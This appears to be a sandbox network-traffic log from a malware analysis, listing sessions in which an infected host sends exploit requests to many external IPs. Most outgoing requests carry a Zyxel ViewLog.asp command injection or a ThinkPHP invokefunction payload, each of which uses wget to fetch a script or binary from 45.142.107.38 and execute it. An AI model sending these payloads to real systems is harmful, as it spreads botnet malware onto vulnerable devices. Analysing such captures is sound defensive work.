Mar 4, 2024 15:06:26.679056883 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:03.543106079 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	57258	62.168.45.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.817305088 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:50.006314993 CET	498	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:05:49 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	57614	62.29.9.78	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.842919111 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	55978	94.43.114.141	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:50.034260988 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:50.408695936 CET	321	IN	HTTP/1.0 404 Not Found Date: Fri, 28 Jan 2000 14:12:38 GMT Server: Boa/0.94.13 Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	43792	31.12.75.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:50.062855959 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	45014	31.136.48.178	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:50.154489040 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:53.399092913 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:59.543095112 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:11.575088978 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.919028997 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.070960045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	33840	62.29.125.174	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:50.194063902 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	58740	112.74.201.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.660578012 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.043139935 CET	442	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 14:05:51 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 181 Keep-Alive: timeout=15, max=300 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 a5 c5 c7 bf 97 c7 c5 e3 ec cc 37 b3 6c 93 9c 63 71 ad 52 38 8a 53 01 55 7d 28 f2 18 fc 2d 62 9e 8a 0c 31 11 c9 ea ec 83 10 31 2d 7d ee 31 e5 1e 1d 67 8a 1a 39 09 d7 ba 8e 78 14 46 50 6a 07 99 1e 7b c9 70 3d 7a 0c 97 10 bb 69 f9 9d b9 1d ff cb 4c ca 63 86 0b 45 30 d0 73 24 eb 48 42 7d 29 00 db 5e d2 27 30 ca c0 bb b1 d0 4f c8 7d 46 40 f7 e0 54 6b c1 d2 f0 a2 21 60 68 e6 89 a5 7c aa 9b 9f f2 7e 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi7lcqR8SU}(-b11-}1g9xFPj{p=ziLcE0s$HB})^'0O}F@Tk!`h\|~tF

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	43594	112.124.102.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.681638002 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.090827942 CET	442	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 14:05:51 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 181 Keep-Alive: timeout=15, max=300 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 a5 c5 c7 bf 97 c7 c5 e3 ec cc 37 b3 6c 93 9c 63 71 ad 52 38 8a 53 01 55 7d 28 f2 18 fc 2d 62 9e 8a 0c 31 11 c9 ea ec 83 10 31 2d 7d ee 31 e5 1e 1d 67 8a 1a 39 09 d7 ba 8e 78 14 46 50 6a 07 99 1e 7b c9 70 3d 7a 0c 97 10 bb 69 f9 9d b9 1d ff cb 4c ca 63 86 0b 45 30 d0 73 24 eb 48 42 7d 29 00 db 5e d2 27 30 ca c0 bb b1 d0 4f c8 7d 46 40 f7 e0 54 6b c1 d2 f0 a2 21 60 68 e6 89 a5 7c aa 9b 9f f2 7e 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi7lcqR8SU}(-b11-}1g9xFPj{p=ziLcE0s$HB})^'0O}F@Tk!`h\|~tF

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	47042	95.100.184.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.818627119 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:51.977179050 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:51 GMT Date: Mon, 04 Mar 2024 14:05:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 31 33 65 32 32 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 31 35 31 26 23 34 36 3b 31 65 36 65 33 62 36 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.213e2217.1709561151.1e6e3b6b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	59396	95.100.76.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.833576918 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.006678104 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:51 GMT Date: Mon, 04 Mar 2024 14:05:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 31 35 31 26 23 34 36 3b 32 32 62 63 66 63 65 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a47a7b5c.1709561151.22bcfce8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	43634	95.216.9.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.849365950 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.038077116 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:05:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	55768	95.119.172.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.858021975 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.054616928 CET	456	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:05:51 GMT Server: Apache Strict-Transport-Security: max-age=15768000; includeSubDomains Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	38112	95.65.100.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.869729996 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.079801083 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	51658	95.56.221.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:51.913746119 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:52.168329000 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:05:52.169241905 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	48046	31.136.139.70	8080

Timestamp	Bytes transferred	Direction	Data
